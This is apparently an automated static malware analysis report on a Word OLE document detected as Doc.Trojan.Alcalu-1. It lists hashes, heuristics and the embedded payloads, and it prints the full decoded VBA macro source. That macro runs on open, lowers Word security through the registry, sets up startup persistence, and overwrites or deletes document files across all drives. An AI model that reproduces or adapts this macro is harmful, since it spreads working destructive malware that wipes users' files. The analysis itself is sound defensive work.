Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f4169c7f1657cf39…

MALICIOUS

Office (OLE)

66.0 KB Created: 1998-03-28 22:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c007c66fe03635a502313d0692fabeef SHA-1: ae7fd3e6d7ce1c0e7c328994e74dee0a2d9d738f SHA-256: f4169c7f1657cf391d6a1ae34fe82b9ffa595c80df188db859240161d0d65402
520 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains a Document_Open subroutine that executes a batch file to establish persistence via the startup folder and registry keys. It also attempts to copy the current document to 'c:\windows\normal.doc' and execute 'c:\syra.scr'. The critical heuristic 'OLE_EMBEDDED_EXE' indicates that a PE executable was embedded within the OLE object, which is likely the payload dropped by the macro.

Heuristics 10

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Trojan.Alcalu-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Alcalu-1
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2424 bytes
SHA-256: 4657cddd7e42a5b0f5fab99a4137bb1d9b1a1db6b5db35f9724880bd57da381a
Detection
ClamAV: Doc.Trojan.Alcalu-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
On Error Resume Next
Dim fso, f
Open "c:\windows\startm~1\programs\startup\winword.bat" For Output As 1
Print #1, "@echo off"
Print #1, "ctty null"
Print #1, ":: MS Word needs this file.. Don't attempt to delete it"
Print #1, "regedit /s c:\windows\winword.reg"
Print #1, "start c:\windows\normal.doc"
Close 1
Open "c:\windows\winword.reg" For Output As 2
Print #2, "REGEDIT4"
Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]"
Print #2, """Level""=dword:00000001"
Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"
Print #2, """Level""=dword:00000001"
Print #2, """AccessVBOM""=dword:00000001"
Close 2
Shell "regedit /s c:\windows\winword.reg", vbHide
Call haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(ActiveDocument.FullName)
f.Copy ("c:\windows\normal.doc")
Set b = Assistant.NewBalloon
With b
.Heading = "Whew!!"
.Text = "Wassup, doc? You have so many document files in your hard drive.. Better remove some.."
returnValue = .Show
End With
Shell "c:\syra.scr", vbHide
End Sub
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "\")
End If
Next
haha = s
End Sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "doc") Then
Set f = fso.GetFile(ActiveDocument.FullName)
f.Copy (f1.Path)
ElseIf (ext = "txt") Or (ext = "wri") Or (ext = "pdf") Then
Set f = fso.GetFile(ActiveDocument.FullName)
f.Copy (f1.Path & ".doc")
fso.DeleteFile (f1.Path)
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub
'DOC / Doctor by alcopaul
embedded_office_00002c3f.exe embedded-pe Office MZ+PE at offset 0x2C3F 56257 bytes
SHA-256: 1b18e07c18f7de6a6476e08a3a3865b5611bab6dd9f50963baf03a0b2c172471
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_952634419/Ole10Native 36964 bytes
SHA-256: 48f557f1c0d123ebc8934317202cc09eba6ed4317f6a1ac8882568e2f9099261

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